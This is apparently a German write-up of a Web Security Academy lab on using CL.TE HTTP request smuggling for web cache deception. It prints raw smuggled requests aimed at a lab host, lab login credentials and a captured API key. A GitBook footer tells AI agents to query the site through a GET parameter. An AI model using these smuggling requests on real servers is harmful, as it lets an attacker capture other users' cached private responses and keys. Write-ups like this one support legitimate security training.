> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# Web-Cache-Täuschung durch HTTP-Request-Smuggling

### Ausnutzung von HTTP Request Smuggling, um Web-Cache-Täuschung durchzuführen

Dieses Lab verfügt über einen Frontserver und einen Hintergrundserver. Der Frontserver unterstützt kein Chunked Encoding und cached einige statische Ressourcen.

Das Ziel ist es, einen Request-Smuggling-Angriff durchzuführen, sodass die nächste von einem Opfer gesendete Anfrage dazu führt, dass sein API-Schlüssel im Cache gespeichert wird. Anschließend müssen Sie diesen API-Schlüssel aus dem Cache wiederherstellen und zur Validierung des Labs einreichen. / Es ist notwendig zu warten **30 Sekunden** nach dem Aufrufen des Labs, bevor Sie versuchen, das Opfer zu ködern.

Sie können sich mit Ihrem eigenen Konto mit Folgendem verbinden: **wiener:peter**

#### **Notizen**

* Auch wenn das Lab HTTP/2 unterstützt, basiert die Lösung auf Techniken, die nur in HTTP/1 möglich sind. Es ist möglich, das Protokoll in Burp Repeater im Abschnitt „Request attributes“ des Inspektors zu ändern.
* Das Lab simuliert die Aktivität eines Opferbenutzers. Auf alle wenigen vom Angreifer gesendeten POST-Anfragen wird das Opfer seine eigenen senden. Es ist manchmal notwendig, den Angriff zu wiederholen, um die Abfolge korrekt zu synchronisieren.

#### **Verhaltensanalyse**

Im Bereich „My account“ haben Sie Ihren eigenen API-Schlüssel.

<figure><img src="/files/4e879f906ca0f6713f8bfdefe81d8261787ed89f" alt=""><figcaption></figcaption></figure>

Es wird beobachtet, dass die `tracking.js` Datei für **30 Sekunden**.

<figure><img src="/files/d567205854bb639d4de9f318e3372934dcfad966" alt=""><figcaption></figcaption></figure>

#### **Erster Test**

Senden der folgenden fehlerhaften Anfrage:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Test: A
```

Wir erhalten eine Antwort **404**, was ein nutzbares Verhalten bestätigt.

<figure><img src="/files/b9c72f913b920d75b5a8f5afdfda3184b6b9e50b" alt=""><figcaption></figcaption></figure>

#### **Request-Smuggling gezielt auf /my-account**

Eine eingeschleuste Anfrage für `/my-account` wird dann vorbereitet:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Test: A
```

Wenn das Opfer nach unserer Injektion seine eigene Anfrage sendet, wird die Antwort, die \*\*seinen API-Schlüssel\*\* enthält, im Cache gespeichert anstatt `tracking.js` vorhandenen Benutzern.

#### **Ergebnis**

Wenn Sie die zwischengespeicherte Ressource laden, wird der API-Schlüssel des Administrators angezeigt:

```
Ihr API-Schlüssel lautet: WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="/files/a63636409bef56c3036d857b26baeb7c2f6de2a0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
